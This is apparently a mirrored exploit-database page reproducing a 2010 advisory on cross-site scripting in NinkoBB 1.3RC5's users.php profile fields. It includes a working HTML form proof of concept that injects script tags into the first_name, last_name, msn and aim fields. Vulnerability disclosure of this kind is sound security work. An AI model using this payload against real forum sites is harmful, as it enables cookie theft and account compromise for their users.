Home / os / win7

[webapps / 0day] - NinkoBB 1.3RC5 XSS Vulnerability

Posted on 27 October 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>NinkoBB 1.3RC5 XSS Vulnerability | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='NinkoBB 1.3RC5 XSS Vulnerability by High-Tech Bridge . in webapps / 0day | Inj3ct0r - exploit database : vulnerability : 0day : shellcode' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var _gaq = _gaq || [];_gaq.push(["_setAccount", "UA-12725838-1"]);_gaq.push(["_trackPageview"]);(function(){var ga = document.createElement("script"); ga.type = "text/javascript"; ga.async = true;ga.src = ("https:" == document.location.protocol ? "https://ssl" : "http://www") + ".google-analytics.com/ga.js";var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(ga, s);})();</script></head><body><pre>================================
NinkoBB 1.3RC5 XSS Vulnerability
================================

Product: NinkoBB
Vendor: NinkoBB  ( http://ninkobb.com )
Vulnerable Version: 1.3RC5 and probably prior versions
Vendor Notification: 13 October 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking &amp; Penetration Testing (http://www.htbridge.ch/)
 
Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
 
The vulnerability exists due to failure in the &quot;users.php&quot; script to properly sanitize user-supplied input in &quot;msn&quot;,&quot;aim&quot;,&quot;first_name&quot; and &quot;last_name&quot; variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
 
An attacker can use browser to exploit this vulnerability. The following PoC is available:
 
 
&lt;form action=&quot;http://host/users.php?a=profile&quot; method=&quot;post&quot; /&gt;
&lt;input type=&quot;hidden&quot; name=&quot;first_name&quot; value=&quot;&quot;&gt;&lt;script&gt;alert(&#039;XSS1&#039;);&lt;/script&gt;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;last_name&quot; value=&quot;&quot;&gt;&lt;script&gt;alert(&#039;XSS2&#039;);&lt;/script&gt;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;msn&quot; value=&quot;&quot;&gt;&lt;script&gt;alert(&#039;XSS3&#039;);&lt;/script&gt;&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;aim&quot; value=&quot;&quot;&gt;&lt;script&gt;alert(&#039;XSS4&#039;);&lt;/script&gt;&quot;&gt;
&lt;input type=&quot;submit&quot; name=&quot;profile&quot; value=&quot;submit&quot;&gt;
&lt;/form&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-10-27]</pre></body></html>

 

TOP

Malware :

Exploits :